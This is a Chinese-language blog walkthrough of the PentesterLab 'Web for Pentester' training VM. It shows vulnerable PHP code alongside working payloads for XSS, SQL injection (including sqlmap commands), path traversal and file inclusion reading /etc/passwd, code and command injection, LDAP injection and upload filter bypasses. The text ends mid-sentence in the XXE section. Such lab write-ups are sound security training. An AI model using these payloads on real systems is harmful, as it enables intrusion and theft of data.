Web for Pentester 也是一个经典的靶场,也叫做 PentesterLab ,最近一直带着笔记本在外面,也没法研究内网安全的知识了,就刷刷靶场来充实一下自己吧,宁静致远。

配置部署

官方地址PentesterLab: Learn Web App Pentesting!

靶场是封装在一个 Debian 系统里面的,官方提供的是虚拟机的 ISO 文件 172MB 大小左右,安装很简单,直接虚拟机挂载启动就可以了。因为系统是最小化安装,没有安装桌面环境,虚拟机下无法安装 vmtools 之类的工具,实际体验并不怎么样,为了方便查看网站源码信息,我们得简单配置一下:

# 查看 IP 地址
$ ip a

# 查看 SSH 服务是否运行
$ /etc/init.d/ssh status
sshd is running.

# 设置 root 密码
$ sudo passwd

发现 SSH 服务是安装配置好的了的,而且正在运行,这个时候我们设置一下 root 密码 就可以通过 SSH 远程连接虚拟机了,这样很方便我们查看源码等信息。

下面是一些基本的服务信息:

# apache 版本为 2.2.16
$ apache2 -v
Server version: Apache/2.2.16 (Debian)
Server built:   Mar  3 2013 11:36:05

# PHP 的版本为 5.3.3
$ php -v
PHP 5.3.3-7+squeeze15 with Suhosin-Patch (cli) (built: Mar  4 2013 14:05:25)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies

# MySQL 版本为 5.1.66 默认 root 密码为 空
$ mysql -e "select version(),user();"
+-------------------+----------------+
| version()         | user()         |
+-------------------+----------------+
| 5.1.66-0+squeeze1 | root@localhost |
+-------------------+----------------+

# 网站的默认目录
$ ls /var/www/
codeexec     css      favicon.ico  files       header.php  index.php  ldap  upload  xss
commandexec  dirtrav  fileincl       footer.php  img       js          sqli  xml

查看服务器的默认 80 端口 开着 Web 靶场服务,浏览器直接访问即可:

XSS 跨站脚本攻击

XSS 一共 9 个关卡,实际上在之前国光也单独总结过各个靶场的 XSS 题目,感兴趣的朋友可以详见我的这篇文章:XSS从零开始

Example 1 无任何过滤

源码

<?php
  echo $_GET["name"];
?>

name 变量直接通过 GET 方式传进去,然后通过 echo 直接输出到网页中 。

payload

example1.php?name=<script>alert('XSS')</script>

Example 2 大小写绕过

源码

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/","", $name);
        $name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

使用了 preg_replace 函数来过滤<script></script>标签,这里由于正则缺陷,没有考虑到大小写的情况,所以这里可以用大小写转换绕过。

payload

example2.php?name=<Script>alert('XSS')</scripT>

实际上这里使用嵌套双写绕过也是 OK 的,不过这个姿势点下一关会说,国光这里就不再啰嗦了。

Example 3 嵌套绕过

源码

<?php
        $name =  $_GET["name"];
        $name = preg_replace("/<script>/i","", $name);
        $name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

这里在第2关的基础上面,正则规则上面使用了/i,表示不区分大小写,利用这个特点可以构造一个嵌套的标签:

<scr<script>ipt>

被检测到<script>后,替换为了空(即删掉)就变成了一个完整的标签:

<script>

payload

example3.php?name=<sc<script>ript>alert('XSS')</</script>script>

Example 4 其他标签绕过

源码

<?php require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>

对 script 关键词进行了不区分大小写地过滤,匹配到就直接调用die("error")终止程序运行,因此上述的方法就不再适用,但是还可以通过其他许多标签来触发JS事件。

payload

example4.php?name=<img src=x onerror=alert('XSS')>

Example 5 编码或者其他方法绕过

源码

<?php require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>

对 alert 关键词进行了不区分大小写地过滤,可以使用其他类似 alert 的方法来弹窗

payload1

example5.php?name=<script>confirm('XSS')</script>
example5.php?name=<script>prompt('XSS')</script>

也可以通过String.fromCharCode()编码来绕过,使用Hackbar可以很方便地进行编码:

alert('XSS')

经过 String.fromCharCode() 编码为:

String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41)

payload2

example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41))</script>

Example 6 闭合双引号

源码

<script>
        var $a= "<?php  echo $_GET["name"]; ?>";
</script>

通过 GET 方式传入的 name 变量,直接输出在了script标签里面,可以尝试闭合前面的双引号",然后直接调用alert方法来弹窗,末尾再使用双引号"闭合后面的双引号。

payload1

example6.php?name=";alert('XSS');"

也可以尝试通过//直接注释掉后面的双引号",这样就不用考虑闭合了:

payload2

example6.php?name=";alert('XSS');//

Example 7 闭合单引号

源码

<script>
        var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>

和上一题类似,只是这里的最后是通过htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities()会将双引号" 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号'给 a 变量赋值的,所以依然可以通过闭合单引号'来弹窗。

payload

example7.php?name=';alert('XSS');'
example7.php?name=';alert('XSS');//

Example 8 PHP_SELF

源码

<?php
  require_once '../header.php';

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

name 变量通过 form 表单以POST方式传入,然后通过htmlentities函数是实体化后输出来,这次通过 POST方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">,用户依然可以控制参数 PHP_SELF,并且这里没有过滤直接输入到了form标签中,所以这里通过闭合依然可以XSS。

闭合引号和标签,通过<script>标签来弹窗:

payload1

example8.php/"><script>alert('XSS')</script>//

也可以通过闭合引号,通过事件来触发弹窗:

payload2

example8.php/" onclick=alert('XSS')//

Example 9 location.hash

源码

<script>
  document.write(location.hash.substring(1));
</script>

直接通过location.hash传入参数,然后往网页中写入,这样很不安全,可以直接通过这个属性往网页中写入 JS 代码。要了解这个location.hash属性,可以参考 W3C 的这篇资料:HTML DOM hash 属性

payload

example9.php#<script>alert('XSS')</script>

执行完成后,手动刷新下浏览器,经测试在 Chrome 和 FireFox 浏览器上的尖括号会被自动转码,在IE内核的浏览器上可以正常运行

SQL injections SQL 注入

刷完 SQLI labs 靶场再看这些注入简直小菜一碟 23333

Example 1 基础注入

关键代码

$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
  while ($row = mysql_fetch_assoc($result))
    echo "<tr>";
  echo "<td>".$row['id']."</td>";
  echo "<td>".$row['name']."</td>";
  echo "<td>".$row['age']."</td>";
  echo "</tr>";
}
echo "</table>";
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 name=’X’

那么就直接丢 payload 吧:

example1.php?name=x' union select 1,2,(SELECT+GROUP_CONCAT(name,":",passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5--+

Example 2 过滤空格

关键代码

if (preg_match('/ /', $_GET["name"])) {
                die("ERROR NO SPACE");
        }
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 name=’X’

和 Example 1 基本上一致,只是这里过滤了 空格,如果匹配到空格的话,直接就终止函数。

过滤空格可以尝试通过下面的字符来替代:

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0c 新的一页
  • %0d return 功能
  • %0b TAB 键(垂直)
  • %a0 空格
  • /**/ 多行注释

最终的 payload 如下:

example2.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23

Example 3 过滤连续空格

关键代码

if (preg_match('/\s+/', $_GET["name"])) {
                die("ERROR NO SPACE");
        }
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where name=’X’

来过滤一个或多个连续空格。但是,我仍然可以使用多行注释/**/ 或者 Example 2 其他字符来 Bypass

example3.php?name=x'/**/union/**/select/**/1,2,(SELECT/**/GROUP_CONCAT(name,":",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/users),4,5%23

sqlmap 也有内置的 tamper 可以直接使用:

sqlmap -u "http://10.211.55.20/sqli/example3.php?name=root*%23" --technique=U --dbms=MySQL --tamper="space2comment" --random-agent --flush-session -v 3 --level=3

Example 4 画蛇添足的过滤

关键代码

# id 直接拼接到 SQL 语句中
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符:\'",那么问题来了 这一题中并没有使用引号来闭合,所以注入的时候我们也不需要引号,所以实际上这个函数并没有发挥作用,下面正常进行注入吧:

example4.php?id=-2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5

Example 5 画蛇添足的正则

关键代码

if (!preg_match('/^[0-9]+/', $_GET["id"])) {
     die("ERROR INTEGER REQUIRED");
 }
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

$result = mysql_query($sql);
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

参数 id 必须是数字开头,否则直接终止函数运行。不过实际手工注入的时候默认 id 是满足这个条件的,除非我们手动修改这个 id 的值:

example5.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5 

这里不能用 id=-2 来构造报错了,因为正则限制 id 必须是数字开题,所以这里使用了 and 1=2 来构造报错。不过实际上这里不用构造报错也可以的,因为页面不止显示一条查询信息,但是由于注入习惯的原因,国光我这里喜欢构造报错。

Example 6 画蛇添足的正则 again

关键代码

if (!preg_match('/[0-9]+$/', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;

$result = mysql_query($sql);
请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

这里和 Example 5 差不多,只是这里确保 id 的值以数字结束,看看我们的上一关的 payload:

example6.php?id=2 and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5 

恰巧是以数字 5 结束,所以这个正则就很画蛇添足

Example 7 /m 正则缺陷 Bypass

请求方式 注入类型 闭合方式
GET 联合、布尔盲注、延时盲注 where id = X

关键代码

if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
    die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];

$result = mysql_query($sql);

id 只允许 233 或者 -233 这样的形式,这样肯定是无法进行注入的了。天无绝人之路,仔细观察 这里使用了 /m/m表示开启多行匹配模式,正常情况下^$ 是匹配字符串的开始和结尾,开启多行模式之后,多行模式^,$可以匹配每行的开头和结尾。我们常用:

  • %0A 换行

来绕过 /m 模式的正则检测,完整的 payload 如下:

example7.php?id=-2%0a union select 1,2,(SELECT+GROUP_CONCAT(name,passwd+SEPARATOR+0x3c62723e)+FROM+users),4,5 

使用 sqlmap 也是可以正常进行注入的:

sqlmap -u "http://10.211.55.20/sqli/example7.php?id=2" --technique=U --dbms=MySQL --prefix="%0a" --random-agent --flush-session -v 3

Example 8 order by 盲注

关键代码

$sql = "SELECT * FROM users ORDER BY `";                         
$sql .= mysql_real_escape_string($_GET["order"])."`";            
$result = mysql_query($sql);                 
请求方式 注入类型 闭合方式
GET 布尔盲注、延时盲注 order by X

order by 不同于 where 后的注入点,不能使用 union 等进行注入。不过注入方式也十分灵活,下面在本关来详细讲解一下。这里并没有输出报错日志,这里只能使用盲注,效率要低一些,国光这里使用布尔类型盲注来简单尝试一下:

# 数据库第 1 位的 ascii 码为 101 即 e
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))--+

example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))--+

# 数据库第 2 位的 ascii 码为 120 即 x
example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))--+

example8.php?order=name` RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))--+
...

直接用 sqlmap 当然也是可以跑起来的:

sqlmap -u "http://10.211.55.20/sqli/example8.php?order=name" --technique=B --dbms=MySQL --prefix='`' --random-agent --flush-session -v 3 --level 3

Example 9 order by 盲注

关键代码

$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
请求方式 注入类型 闭合方式
GET 布尔盲注、延时盲注 order by X

比 Example 8 更简单,这里没有奇怪的闭合拼接方式就直接导入到 SQL 语句中了,下面直接开始注入吧:

# 数据库第 1 位的 ascii 码为 101 即 e
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>100) THEN 0x6e616d65 ELSE 0x28 END))

example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),1,1))>101) THEN 0x6e616d65 ELSE 0x28 END))

# 数据库第 2 位的 ascii 码为 120 即 x
example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>119) THEN 0x6e616d65 ELSE 0x28 END))

example9.php?order=name RLIKE (SELECT (CASE WHEN (ORD(MID((IFNULL(CAST(DATABASE() AS NCHAR),0x20)),2,1))>120) THEN 0x6e616d65 ELSE 0x28 END))

直接用 sqlmap 当然也是可以跑起来的:

sqlmap -u "http://10.211.55.20/sqli/example9.php?order=name" --technique=B --dbms=MySQL --random-agent --flush-session -v 3

Directory traversal 目录穿越

Example 1

关键代码

<?php

$UploadDir = '/var/www/files/';

if (!(isset($_GET['file'])))
    die();

$file = $_GET['file'];
$path = $UploadDir . $file;

if (!is_file($path))
    die();

header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: public');
header('Content-Disposition: inline; filename="' . basename($path) . '";');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . filesize($path));

$handle = fopen($path, 'rb');

do {
$data = fread($handle, 8192);
if (strlen($data) == 0) {
break;
}
echo($data);
} while (true);

fclose($handle);
exit();

?>

默认头像的地址是:

/dirtrav/example1.php?file=hacker.png

可以发现 png 图片这里变成直接解析图片文本内容了:

结合代码来看:

$handle = fopen($path, 'rb');

这里 path 变量没有进行任何过滤,导致可以通过../../../的形式造成目录穿越,下面直接丢 payload 吧:

/dirtrav/example1.php?file=../../../../../etc/passwd

Example 2

关键代码

<?php
if (!(isset($_GET['file'])))
    die();

$file = $_GET['file'];

if (!(strstr($file,"/var/www/files/")))
    die();

$handle = fopen($file, 'rb');
?>

默认头像地址是:

/dirtrav/example2.php?file=/var/www/files/hacker.png

这里检测了 file 参数必须含有 /var/www/files/,实际上并不影响我们使用 ../../进行目录穿越:

/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd

Example 3 %00 截断

关键代码

<?php
$UploadDir = '/var/www/files/';

if (!(isset($_GET['file'])))
    die();

$file = $_GET['file'];
$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
$path = preg_replace('/\x00.*/',"",$path);

if (!is_file($path))
    die();

$handle = fopen($path, 'rb');
?>

这里在我们的文件后面手动添加了 .png 后缀,导致我们不能随心所欲的读取文件了:

$path = $UploadDir . $file.".png";

实际上这里可以通过 00 截断来 Bypass PHP <= 5.3.4 版本,且魔术引号处于关闭状态的时候可以 00 截断成功。但是这里表面上有过滤措施了:

$path = preg_replace('/\x00.*/',"",$path);

但是关键过滤的正则写的有问题:\x00.*,他会把 00 截断的后面也给替换为空,刚好可以把 .png 给干掉,23333 不是很懂这种操作,那么就直接丢 payload 吧:

/dirtrav/example3.php?file=../../../../../../../etc/passwd%00

File Include 文件包含

Example 1

关键代码

<?php require_once '../header.php'; ?>
<?php
    if ($_GET["page"]) {
        include($_GET["page"]);
    }
?>

最基础的文件包含,page 变量通过 GET 方式传递值,然后直接被 include 函数包含,下面直接丢 payload:

/fileincl/example1.php?page=/etc/passwd

尝试了一下,发现还可以进行远程文件包含:

/fileincl/example1.php?page=http://www.baidu.com/robots.txt

关于文件包含的漏洞利用,国光这里不再赘述,详细可以参考我之前写的文章:DVWA 入门靶场学习记录里面的文件包含部分

Example 2 截断

关键代码

<?php
    if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
        include($file);
    }
?>

虽然在 page 后面手动添加了 .php 后缀了,但是下面在正则依然是\x00.*谜一样的操作,依然是吧 00 截断以及后面的内容都替换为空,这样间接地帮助我们把 .php 给干掉了,美滋滋,直接丢 payload 吧:

/fileincl/example2.php?page=/etc/passwd%00

实际上如果进行远程文件包含的话,还可以使用?#截断,#的 URL 编码就是 %23:

/fileincl/example2.php?page=https://www.baidu.com/robots.txt?
/fileincl/example2.php?page=https://www.baidu.com/robots.txt%23

Code injection 代码注入

Example 1

关键代码

<?php
  $str="echo \"Hello ".$_GET['name']."!!!\";";
  eval($str);
?>

name 参数通过 GET 方式传递,然后没有过滤,最终直接被 eval 函数解析,这样当用户 name 传递非法字符的时候,就会产生代码注入,但是注入前我们需要闭合好原来的语句,然后注释掉后面的语句:

";phpinfo();//

这样带入到语句中就是如下的效果:

echo "Hello ";phpinfo();//!!!"

所以最终的 payload 如下:

/codeexec/example1.php?name=";phpinfo();//

类似的还有其他姿势可以使用:

# 使用 . 拼接字符串 闭合后面双引号
/codeexec/example1.php?name=hacker".phpinfo();$a="

# 使用 . 拼接字符串 注释掉后面双引号
/codeexec/example1.php?name=hacker".phpinfo();//

# 使用 ${${code}} 直接插入代码
/codeexec/example1.php?name=${${phpinfo()}}

Example 2 create_function 命令注入

关键代码

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }
}
    $sql = "SELECT * FROM users ";

    $order = $_GET["order"];
    $result = mysql_query($sql);
  if ($result) {
        while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) {
      # 使用用户自定义的比较函数对数组进行排序
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
    }
?>
  • usort

使用用户自定义的比较函数对数组中的元素进行排序

usort(array,myfunction);
参数 说明
array 必需。规定要进行排序的数组。
myfunction 可选。定义可调用比较函数的字符串。
  • create_function

创建一个匿名(lambda样式)函数

create_function ( string $args , string $code ) 
参数 说明
args 变量部分
code 方法代码部分

此函数在内部执行 eval(),因此具有与 eval()相同的安全性问题。此外,它还具有不良的性能和内存使用特性。

举例:

create_function('$fname','echo $fname."welcome"')

类似于:

function fT($fname) {
  echo $fname."welcome";
}

知道原理后我们再来看下面的这段代码:

usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

这里面 order 变量 $order = $_GET["order"]; 是通过 GET 方式传递,唯一可控的,这里我们来尝试闭合掉这个 create_function 来进行代码注入:

当 order 的内容如下:

id);}phpinfo();//

从事带入到代码中就是如下效果:

return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);

转换成函数形式就是下面的效果:

create_function('$a, $b', 'return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);'));

即:

funciton fT($a,$b){return strcmp($a->id);}phpinfo();//,$b->id);}phpinfo();//);}

这个时候 phpinfo() 就会成功执行了,所以最终的 payload 如下:

/codeexec/example2.php?order=id);}phpinfo();//

Example 3 preg_replace 命令注入

关键代码:

<?php
    echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
  • preg_replace()

执行一个正则表达式的搜索和替换

preg_replace($pattern ,$replacement,$subject [,int $limit = -1 [,int &$count ]])
参数 说明
$pattern 要搜索的模式,可以是字符串或一个字符串数组
$replacement 用于替换的字符串或字符串数组
$subject 要搜索替换的目标字符串或字符串数组
$limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
$count 可选,为替换执行的次数

版本更新日志:

版本 说明
7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替
5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。
5.1.0 增加参数count

$pattern 在 /e 模式下会将新输入 $replacement参数的值当成 PHP 代码执行,知道这个原理后我最终构造的 payload 如下:

/codeexec/example3.php?new=phpinfo()&pattern=/lamer/e&base=Hello%20lamer

Example 4 assert 命令注入

关键代码

<?php
  // ensure name is not empty
  assert(trim("'".$_GET['name']."'"));
  echo "Hello ".htmlentities($_GET['name']);
?>
  • trim

移除字符串两侧的空白字符或其他预定义字符。

trim(string,charlist)
参数 说明
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
  • “\0” - NULL
  • “\t” - 制表符
  • “\n” - 换行
  • “\x0B” - 垂直制表符
  • “\r” - 回车
  • “ “ - 空格

assert 在 PHP 5 的版本中也是可以执行代码的,思路和 Example 1 那样,闭合语句导致代码执行,可以使用如下 payload :

# 闭合前面单引号 注释掉后面单引号
/codeexec/example4.php?name=hacker'.phpinfo();//

# 闭合前后单引号
/codeexec/example4.php?name=hacker'.phpinfo().'

# ${${code}} 直接插入代码
/codeexec/example4.php?name=hacker'.${${phpinfo()}}.'

Commands injection 命令执行

Example 1

关键代码

<?php
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>

ip 参数直接通过 GET 传递到 system 函数中,造成命令执行,可以使用使用如下命令连接符号来拼接自己的命令:

符号 说明
A;B A 不论正确与否都会执行 B 命令
A&B A 后台运行,A 和 B 同时执行
A&&B A 执行成功时候才会执行 B 命令
A|B A 执行的输出结果,作为 B 命令的参数,A 不论正确与否都会执行 B 命令
A||B A 执行失败后才会执行 B 命令

所以最终可以构造出如下可以利用的 payload:

/commandexec/example1.php?ip=127.0.0.1;cat /etc/passwd
# & 与 && 国光没有复现成功
/commandexec/example1.php?ip=127.0.0.1&cat /etc/passwd
/commandexec/example1.php?ip=127.0.0.1&&cat /etc/passwd
/commandexec/example1.php?ip=127.0.0.1|cat /etc/passwd
/commandexec/example1.php?ip=233||cat /etc/passwd

& 与 && 国光没有复现成功,但是在 DVWA 里面是正常执行的,有知道的师傅欢迎评论区指点迷津。

Example 2 %0a 绕过

关键代码

<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>

这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了 /m 多行匹配模式,所以我们这里可以使用 %0a 换行,后面跟上自己的 payload 即可:

/commandexec/example2.php?ip=127.0.0.1%0acat /etc/passwd

Example 3 重定向捕捉

关键代码

<pre>
<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/', $_GET['ip']))) {
     header("Location: example3.php?ip=127.0.0.1");
  }
  system("ping -c 2 ".$_GET['ip']);
?>
</pre>

preg_match 去掉了 /m 多行匹配模式,检测到 ip 不是 IP 地址格式的话,就重定向为:

/commandexec/example3.php?ip=127.0.0.1

虽然重定向了,但是实际上代码还是执行了我们的输入,只是重定向后刷新了一下,我们没有看到执行结果:

/commandexec/example3.php?ip=127.0.0.1;cat /etc/passwd
/commandexec/example3.php?ip=127.0.0.1|cat /etc/passwd
/commandexec/example3.php?ip=233||cat /etc/passwd

可以使用 BP 抓包来查看返回包,也可以直接使用 curl 命令来查看短暂出现的运行结果:

curl "http://10.211.55.20/commandexec/example3.php?ip=127.0.0.1;cat%20/etc/passwd"

LDAP attacks LDAP 攻击

LDAP 是轻量目录访问协议,英文全称是 Lightweight Directory Access Protocol,一般都简称为 LDAP。它是基于X.500标准的,但是简单多了并且可以根据需要定制。

可以把他和数据库类比,LDAP 是一个为查询、浏览、搜索而优化的专业分布式数据库,它成树状结构组织数据,就好像 Linux/Unix 系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以 LDAP 天生是用来查询的。

Example 1 空认证

关键代码

$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
  if (isset($_GET["username"])) {
    $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
  }
  $lb = @ldap_bind($ld, $user,$_GET["password"]);

  if ($lb) {
    echo "AUTHENTICATED";
  }
  else {
    echo "NOT AUTHENTICATED";
  }
}

使用用户名和密码连接到 LDAP 服务器。在这里 LDAP 服务器身份验证不会成功,因为 username=&password=凭据无效。但是,一些 LDAP 服务器授权空绑定:如果发送空值,LDAP 服务器将继续绑定连接,要使用空值获取绑定,需要从查询中完全删除此参数,PHP 代码将认为凭据是正确的:

$lb = @ldap_bind($ld, $user,$_GET["password"]);

if ($lb) {
echo "AUTHENTICATED";
}

所以本关的 payload 如下:

/ldap/example1.php

Example 2 LDAP 注入

关键代码

$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
  $lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
  if ($lb) {
    $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
    $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
    if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
      echo("Unable to search ldap server<br>");
      echo("msg:'".ldap_error($ld)."'</br>");
    } else {
      $number_returned = ldap_count_entries($ld,$search);
      $info = ldap_get_entries($ld, $search);
      if ($info["count"] < 1) {
        //NOK
        echo "UNAUTHENTICATED";
      }
      else {
        echo "AUTHENTICATED as";
        echo(" ".htmlentities($info[0]['uid'][0]));
      }
    }
  }
}

LDAP 查询的基本语法:

# 查询name为Tom的所有对象 这里括号强调LDAP语句的开始和结束
(name=Tom)

# 查询name为Tom并且passwd为123的对象
# 每个条件都在自己的括号里面,整个语句也要括号包裹起来。&表示逻辑与。
(&(name=Tom)(passwd=123)) 

# 查询名字是T开头的所有对象 通配符*可以表示任何值
(name=T*) 

LDAP 注入攻击和 SQL 注入攻击相似,因此接下来的想法是利用用户引入的参数生成 LDAP 查询,默认的查询链接如下:

/ldap/example2.php?name=hacker&password=hacker

下面是简单的测试:

# 认证成功 默认正常情况
name=hacker&password=hacker 

# 认证成功 通配符 可以表示 hacker
name=ha*&password=hacker

# 认证失败 因为 password 被 md5 家了
name=hacker&password=ha*

现在重点关注查询的代码:

$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";

当 name 输入内容如下的话:

hacker)(cn=*))%00

带入到 $ filter 语句中就是如下效果:

$filter = "(&(cn=hacker)(cn=*))%00)(userPassword=".$pass."))";

)用来闭合前面的括号,(cn=*)是一个永真的条件,%00注释掉后面的语句。

所以最终的 payload 可以如下:

/ldap/example2.php?name=hacker))%00&password=233
/ldap/example2.php?name=admin))%00&password=233
/ldap/example2.php?name=hacker)(cn=*))%00&password=233

File Upload 文件上传

Example 1

关键代码

<?php
if(isset($_FILES['image']))
{
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else
  {
      echo 'Upload failed';
  }
}
?>

代码中可以看出无任何过滤措施,可以直接上传 PHP 文件来 getshell,服务器也返回了上传文件的路径信息:

Example 2 %00 截断、大小写绕过

关键代码

<?php
if(isset($_FILES['image']))
{
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
    if (preg_match('/\.php$/',$file)) {
        DIE("NO PHP");
    }
?>

preg_match 正则检测,如果发现是 .php 后缀的话,直接就终止函数。

  1. %00 截断

这里可以使用经典的 %00 截断来绕过:

这样依然是可以成功上传 PHP 后缀的文件的

  1. 大小写绕过

因为 preg_match 没有使用 /i 匹配大小写模式,导致可以使用大写的 PHP 后缀来绕过:

XML attack XML 攻击

XML 允许用户在 XML 文档内自定义实体,以此来扩展其标准实体集。这些自定义实体可以直接写在可选的 DOCTYPE 中,而它们代表的扩展值则可引用一个外部资源。正是 XML 的这种支持自定义引用、可引用外部资源内容的可扩展性,导致系统易受 XXE 的攻击。

  • ENTITY 实体

如果在 XML 文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名。即一个 ENTITY,然后再在文档中调用它。

XML定义了两种类型的 ENTITY,一种在XML文档中使用,另一种在为参数在 DTD 文件中使用。

ENTITY 的定义语法:

<!DOCTYPE  文件名 [
